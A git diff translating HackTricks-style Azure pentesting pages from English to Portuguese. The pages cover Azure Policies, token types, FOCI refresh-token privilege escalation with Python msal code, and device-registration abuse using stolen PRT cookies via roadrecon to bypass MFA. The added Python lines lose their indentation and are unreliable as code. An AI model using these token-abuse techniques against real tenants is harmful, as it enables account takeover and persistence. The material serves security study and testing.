-### Azure Policies +### Políticas do Azure -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Políticas do Azure** são regras que ajudam as organizações a garantir que seus recursos atendam a padrões específicos e requisitos de conformidade. Elas permitem que você **aplique ou audite configurações em recursos no Azure**. Por exemplo, você pode impedir a criação de máquinas virtuais em uma região não autorizada ou garantir que todos os recursos tenham tags específicas para rastreamento. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +As Políticas do Azure são **proativas**: elas podem impedir que recursos não conformes sejam criados ou alterados. Elas também são **reativas**, permitindo que você encontre e corrija recursos não conformes existentes. -#### **Key Concepts** +#### **Conceitos Chave** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Definição de Política**: Uma regra, escrita em JSON, que especifica o que é permitido ou exigido. +2. **Atribuição de Política**: A aplicação de uma política a um escopo específico (por exemplo, assinatura, grupo de recursos). +3. **Iniciativas**: Uma coleção de políticas agrupadas para uma aplicação mais ampla. +4. **Efeito**: Especifica o que acontece quando a política é acionada (por exemplo, "Negar", "Auditar" ou "Anexar"). -**Some examples:** +**Alguns exemplos:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Garantindo Conformidade com Regiões Específicas do Azure**: Esta política garante que todos os recursos sejam implantados em regiões específicas do Azure. Por exemplo, uma empresa pode querer garantir que todos os seus dados sejam armazenados na Europa para conformidade com o GDPR. +2. **Impondo Padrões de Nomenclatura**: Políticas podem impor convenções de nomenclatura para recursos do Azure. Isso ajuda na organização e identificação fácil de recursos com base em seus nomes, o que é útil em grandes ambientes. +3. **Restringindo Certos Tipos de Recursos**: Esta política pode restringir a criação de certos tipos de recursos. Por exemplo, uma política poderia ser definida para impedir a criação de tipos de recursos caros, como certos tamanhos de VM, para controlar custos. +4. **Impondo Políticas de Tagging**: Tags são pares chave-valor associados a recursos do Azure usados para gerenciamento de recursos. Políticas podem impor que certas tags devem estar presentes ou ter valores específicos para todos os recursos. Isso é útil para rastreamento de custos, propriedade ou categorização de recursos. +5. **Limitando Acesso Público a Recursos**: Políticas podem impor que certos recursos, como contas de armazenamento ou bancos de dados, não tenham endpoints públicos, garantindo que sejam acessíveis apenas dentro da rede da organização. +6. **Aplicando Configurações de Segurança Automaticamente**: Políticas podem ser usadas para aplicar automaticamente configurações de segurança a recursos, como aplicar um grupo de segurança de rede específico a todas as VMs ou garantir que todas as contas de armazenamento usem criptografia. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. - -Azure policy json example: +Observe que as Políticas do Azure podem ser anexadas a qualquer nível da hierarquia do Azure, mas são **comumente usadas no grupo de gerenciamento raiz** ou em outros grupos de gerenciamento. +Exemplo de política do Azure em json: ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` +### Herança de Permissões -### Permissions Inheritance +No Azure, **as permissões podem ser atribuídas a qualquer parte da hierarquia**. Isso inclui grupos de gerenciamento, assinaturas, grupos de recursos e recursos individuais. As permissões são **herdadas** pelos **recursos** contidos na entidade onde foram atribuídas. -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. - -This hierarchical structure allows for efficient and scalable management of access permissions. +Essa estrutura hierárquica permite uma gestão eficiente e escalável das permissões de acesso.
### Azure RBAC vs ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (controle de acesso baseado em função) é o que já vimos nas seções anteriores: **Atribuir uma função a um principal para conceder acesso** a um recurso.\ +No entanto, em alguns casos, você pode querer fornecer **um gerenciamento de acesso mais detalhado** ou **simplificar** a gestão de **centenas** de **atribuições** de função. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +O **ABAC** do Azure (controle de acesso baseado em atributos) se baseia no Azure RBAC, adicionando **condições de atribuição de função baseadas em atributos** no contexto de ações específicas. Uma _condição de atribuição de função_ é uma **verificação adicional que você pode opcionalmente adicionar à sua atribuição de função** para fornecer um controle de acesso mais detalhado. Uma condição filtra as permissões concedidas como parte da definição de função e da atribuição de função. Por exemplo, você pode **adicionar uma condição que exige que um objeto tenha uma tag específica para ler o objeto**.\ +Você **não pode** explicitamente **negar** **acesso** a recursos específicos **usando condições**. -## References +## Referências - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..caa061bd9 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,101 +1,100 @@ -# Az - Tokens & Public Applications +# Az - Tokens & Aplicações Públicas {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +O Entra ID é a plataforma de gerenciamento de identidade e acesso (IAM) baseada em nuvem da Microsoft, servindo como o sistema fundamental de autenticação e autorização para serviços como Microsoft 365 e Azure Resource Manager. O Azure AD implementa o framework de autorização OAuth 2.0 e o protocolo de autenticação OpenID Connect (OIDC) para gerenciar o acesso a recursos. ### OAuth -**Key Participants in OAuth 2.0:** +**Principais Participantes no OAuth 2.0:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Servidor de Recursos (RS):** Protege recursos pertencentes ao proprietário do recurso. +2. **Proprietário do Recurso (RO):** Normalmente um usuário final que possui os recursos protegidos. +3. **Aplicação Cliente (CA):** Uma aplicação que busca acesso a recursos em nome do proprietário do recurso. +4. **Servidor de Autorização (AS):** Emite tokens de acesso para aplicações clientes após autenticar e autorizar. -**Scopes and Consent:** +**Escopos e Consentimento:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Escopos:** Permissões granulares definidas no servidor de recursos que especificam níveis de acesso. +- **Consentimento:** O processo pelo qual um proprietário de recurso concede a uma aplicação cliente permissão para acessar recursos com escopos específicos. -**Microsoft 365 Integration:** +**Integração com Microsoft 365:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- O Microsoft 365 utiliza o Azure AD para IAM e é composto por várias aplicações OAuth "de primeira parte". +- Essas aplicações estão profundamente integradas e frequentemente têm relações de serviço interdependentes. +- Para simplificar a experiência do usuário e manter a funcionalidade, a Microsoft concede "consentimento implícito" ou "pré-consentimento" a essas aplicações de primeira parte. +- **Consentimento Implícito:** Certas aplicações são automaticamente **concedidas acesso a escopos específicos sem aprovação explícita do usuário ou administrador**. +- Esses escopos pré-consentidos geralmente estão ocultos tanto para usuários quanto para administradores, tornando-os menos visíveis nas interfaces de gerenciamento padrão. -**Client Application Types:** +**Tipos de Aplicações Cliente:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Clientes Confidenciais:** +- Possuem suas próprias credenciais (por exemplo, senhas ou certificados). +- Podem **se autenticar de forma segura** no servidor de autorização. +2. **Clientes Públicos:** +- Não possuem credenciais únicas. +- Não podem se autenticar de forma segura no servidor de autorização. +- **Implicação de Segurança:** Um atacante pode se passar por uma aplicação cliente pública ao solicitar tokens, já que não há um mecanismo para o servidor de autorização verificar a legitimidade da aplicação. -## Authentication Tokens +## Tokens de Autenticação -There are **three types of tokens** used in OIDC: +Existem **três tipos de tokens** usados no OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Tokens de Acesso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** O cliente apresenta este token ao servidor de recursos para **acessar recursos**. Ele pode ser usado apenas para uma combinação específica de usuário, cliente e recurso e **não pode ser revogado** até a expiração - que é de 1 hora por padrão. +- **Tokens de ID**: O cliente recebe este **token do servidor de autorização**. Ele contém informações básicas sobre o usuário. Está **vinculado a uma combinação específica de usuário e cliente**. +- **Tokens de Atualização**: Fornecidos ao cliente com o token de acesso. Usados para **obter novos tokens de acesso e ID**. Está vinculado a uma combinação específica de usuário e cliente e pode ser revogado. A expiração padrão é **90 dias** para tokens de atualização inativos e **sem expiração para tokens ativos** (é possível obter novos tokens de atualização a partir de um token de atualização). +- Um token de atualização deve estar vinculado a um **`aud`**, a alguns **escopos**, e a um **inquilino** e deve ser capaz de gerar tokens de acesso apenas para esse aud, escopos (e nada mais) e inquilino. No entanto, este não é o caso com **tokens de aplicações FOCI**. +- Um token de atualização é criptografado e apenas a Microsoft pode descriptografá-lo. +- Obter um novo token de atualização não revoga o token de atualização anterior. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> Informações para **acesso condicional** são **armazenadas** dentro do **JWT**. Portanto, se você solicitar o **token de um endereço IP permitido**, esse **IP** será **armazenado** no token e então você pode usar esse token de um **IP não permitido para acessar os recursos**. -### Access Tokens "aud" +### Tokens de Acesso "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +O campo indicado no campo "aud" é o **servidor de recursos** (a aplicação) usado para realizar o login. -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +O comando `az account get-access-token --resource-type [...]` suporta os seguintes tipos e cada um deles adicionará um "aud" específico no token de acesso resultante: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Note que os seguintes são apenas as APIs suportadas por `az account get-access-token`, mas há mais.
-aud examples +exemplos de aud -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Usado para acessar a API do Azure AD Graph legada (obsoleta), que permite que aplicações leiam e escrevam dados de diretório no Azure Active Directory (Azure AD). +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Usado para gerenciar recursos do Azure através da API do Azure Resource Manager. Isso inclui operações como criar, atualizar e excluir recursos como máquinas virtuais, contas de armazenamento e mais. +- `https://management.core.windows.net/ ou https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Usado para acessar o Azure Batch, um serviço que permite aplicações de computação paralela em larga escala e de alto desempenho de forma eficiente na nuvem. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Usado para interagir com o Azure Data Lake Storage Gen1, que é um serviço de armazenamento e análise de dados escalável. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Usado para acessar os Serviços de Mídia do Azure, que fornecem serviços de processamento e entrega de mídia baseados em nuvem para conteúdo de vídeo e áudio. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Usado para acessar a API do Microsoft Graph, o ponto de extremidade unificado para dados de serviços do Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Mobilidade Empresarial e serviços de Segurança. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: Usado para acessar serviços de banco de dados do Azure para mecanismos de banco de dados relacionais de código aberto como MySQL, PostgreSQL e MariaDB. +- `https://ossrdbms-aad.database.windows.net`
-### Access Tokens Scopes "scp" +### Escopos de Tokens de Acesso "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +O escopo de um token de acesso é armazenado dentro da chave scp dentro do JWT do token de acesso. Esses escopos definem a que o token de acesso tem acesso. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. - -### Get refresh & access token example +Se um JWT tiver permissão para contatar uma API específica, mas **não tiver o escopo** para realizar a ação solicitada, ele **não poderá realizar a ação** com esse JWT. +### Exemplo de obtenção de token de atualização e acesso ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` +## Escalação de Privilégios de Tokens FOCI -## FOCI Tokens Privilege Escalation +Anteriormente, foi mencionado que os tokens de atualização devem estar vinculados aos **escopos** com os quais foram gerados, à **aplicação** e ao **inquilino** para os quais foram gerados. Se qualquer um desses limites for quebrado, é possível escalar privilégios, pois será possível gerar tokens de acesso para outros recursos e inquilinos aos quais o usuário tem acesso e com mais escopos do que originalmente pretendido. -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Além disso, **isso é possível com todos os tokens de atualização** na [plataforma de identidade da Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (contas Microsoft Entra, contas pessoais da Microsoft e contas sociais como Facebook e Google) porque, como mencionam os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Os tokens de atualização estão vinculados a uma combinação de usuário e cliente, mas **não estão vinculados a um recurso ou inquilino**. Um cliente pode usar um token de atualização para adquirir tokens de acesso **em qualquer combinação de recurso e inquilino** onde tenha permissão para fazê-lo. Os tokens de atualização são criptografados e apenas a plataforma de identidade da Microsoft pode lê-los." -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Além disso, observe que as aplicações FOCI são aplicações públicas, portanto **nenhum segredo é necessário** para autenticar no servidor. -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Então, os clientes FOCI conhecidos relatados na [**pesquisa original**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**encontrados aqui**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). - -### Get different scope - -Following with the previous example code, in this code it's requested a new token for a different scope: +### Obter escopo diferente +Seguindo com o código de exemplo anterior, neste código é solicitado um novo token para um escopo diferente: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Obter diferentes clientes e escopos ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Referências - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..c6c250511 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -2,23 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -When a device joins AzureAD a new object is created in AzureAD. +Quando um dispositivo se junta ao AzureAD, um novo objeto é criado no AzureAD. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +Ao registrar um dispositivo, o **usuário é solicitado a fazer login com sua conta** (solicitando MFA se necessário), em seguida, solicita tokens para o serviço de registro de dispositivos e, por fim, pede uma confirmação final. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Então, dois pares de chaves RSA são gerados no dispositivo: A **chave do dispositivo** (**chave** pública) que é enviada para o **AzureAD** e a **chave de transporte** (**chave** privada) que é armazenada no TPM, se possível. +Em seguida, o **objeto** é gerado no **AzureAD** (não no Intune) e o AzureAD devolve ao dispositivo um **certificado** assinado por ele. Você pode verificar se o **dispositivo está associado ao AzureAD** e informações sobre o **certificado** (como se está protegido por TPM). ```bash dsregcmd /status ``` +Após o registro do dispositivo, um **Primary Refresh Token** é solicitado pelo módulo LSASS CloudAP e entregue ao dispositivo. Com o PRT também é entregue a **chave de sessão criptografada para que apenas o dispositivo possa descriptografá-la** (usando a chave pública da chave de transporte) e é **necessária para usar o PRT.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +Para mais informações sobre o que é um PRT, consulte: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +O **TPM** **protege** contra a **extração** de chaves de um dispositivo desligado (se protegido por PIN) e contra a extração do material privado da camada do SO.\ +Mas ele **não protege** contra **sniffing** da conexão física entre o TPM e a CPU ou **usando o material criptográfico** no TPM enquanto o sistema está em execução a partir de um processo com direitos **SYSTEM**. -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Se você verificar a página a seguir, verá que **roubar o PRT** pode ser usado para acessar como um **usuário**, o que é ótimo porque o **PRT está localizado em dispositivos**, então pode ser roubado deles (ou se não for roubado, abusado para gerar novas chaves de assinatura): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## Registrando um dispositivo com tokens SSO +Seria possível para um atacante solicitar um token para o serviço de registro de dispositivos da Microsoft a partir do dispositivo comprometido e registrá-lo: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Qual dará a você um **certificado que você pode usar para solicitar PRTs no futuro**. Portanto, mantendo a persistência e **contornando o MFA** porque o token PRT original usado para registrar o novo dispositivo **já tinha permissões de MFA concedidas**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Observe que, para realizar este ataque, você precisará de permissões para **registrar novos dispositivos**. Além disso, registrar um dispositivo não significa que o dispositivo será **permitido para se inscrever no Intune**. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Este ataque foi corrigido em setembro de 2021, pois você não pode mais registrar novos dispositivos usando tokens SSO. No entanto, ainda é possível registrar dispositivos de maneira legítima (tendo nome de usuário, senha e MFA, se necessário). Verifique: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Sobrescrevendo um ticket de dispositivo -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +Era possível **solicitar um ticket de dispositivo**, **sobrescrever** o atual do dispositivo e, durante o fluxo, **roubar o PRT** (portanto, não há necessidade de roubá-lo do TPM. Para mais informações, [**verifique esta palestra**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> No entanto, isso foi corrigido. -## Overwrite WHFB key +## Sobrescrever a chave WHFB -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Verifique os slides originais aqui**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Resumo do ataque: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- É possível **sobrescrever** a chave **WHFB registrada** de um **dispositivo** via SSO +- Isso **derrota a proteção do TPM** à medida que a chave é **capturada durante a geração** da nova chave +- Isso também fornece **persistência**
